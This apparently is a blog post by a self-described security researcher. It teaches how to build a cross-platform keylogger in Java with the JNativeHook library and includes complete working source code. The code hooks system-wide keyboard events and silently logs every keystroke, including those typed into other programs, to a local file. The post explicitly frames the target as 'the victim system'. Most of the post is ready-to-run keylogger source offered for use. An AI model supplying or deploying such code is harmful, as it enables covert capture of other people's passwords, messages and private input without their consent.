How to write a cross-platform Keylogger in Java with the aid of jNativeHook!

Do you think "you can't create a key logger in Java"? I know most of you might think this is the truth! But guess what? It is not! Because you think Java cannot do anything outside of the JVM internals, I will introduce you "jNativeHook" to make this happen!

Who is JNativeHook?

JNativeHook is a library to implement global keyboard and mouse listeners for Java, enabling us to hook global shortcuts that would otherwise be impossible using pure Java. To do this, JNativeHook exploits platform-dependent native code through JNI to build low-level system-wide hooks and pass those events to our program. This library can also post native events back to the native operating system.

How can we capture keystrokes from external processes (e.g., Chrome) or anywhere in the victim system?

Well, jNativeHook itself uses low-level codes from other sources to do it, for example, a DLL file. Following Java code shows how to write a simple Keylogger with the aid of JNativeHook:


      package heapzip;

      import java.io.IOException;
      import java.io.OutputStream;
      import java.io.PrintWriter;
      import java.nio.file.Files;
      import java.nio.file.Path;
      import java.nio.file.Paths;
      import java.nio.file.StandardOpenOption;


      import org.jnativehook.GlobalScreen;
      import org.jnativehook.NativeHookException;
      import org.jnativehook.keyboard.NativeKeyEvent;
      import org.jnativehook.keyboard.NativeKeyListener;


      /**
       * @author HeapZip Mohammadreza Ashouri
       Youtube Video : https://youtu.be/YM8MFb77kLM
       */
      public class Keylogger implements NativeKeyListener {

          private static final Path file = Paths.get("keys.txt");


          public static void main(String[] args) {





              try {
                  GlobalScreen.registerNativeHook();
              } catch (NativeHookException e) {

                  System.exit(-1);
              }

              GlobalScreen.addNativeKeyListener(new Keylogger());
          }



          public void nativeKeyPressed(NativeKeyEvent e) {
              String keyText = NativeKeyEvent.getKeyText(e.getKeyCode());

              try (OutputStream os = Files.newOutputStream(file, StandardOpenOption.CREATE, StandardOpenOption.WRITE,
                      StandardOpenOption.APPEND); PrintWriter writer = new PrintWriter(os)) {

                  if (keyText.length() > 1) {
                      writer.print("[" + keyText + "]");
                  } else {
                      writer.print(keyText);
                  }

              } catch (IOException ex) {
                  System.exit(-1);
              }
          }

          public void nativeKeyReleased(NativeKeyEvent e) {
              // Nothing
          }

          public void nativeKeyTyped(NativeKeyEvent e) {
              // Nothing here
          }
      }

   		  

Posted by Mo in Dec 2020

I'm a cyber security researcher and a programmer.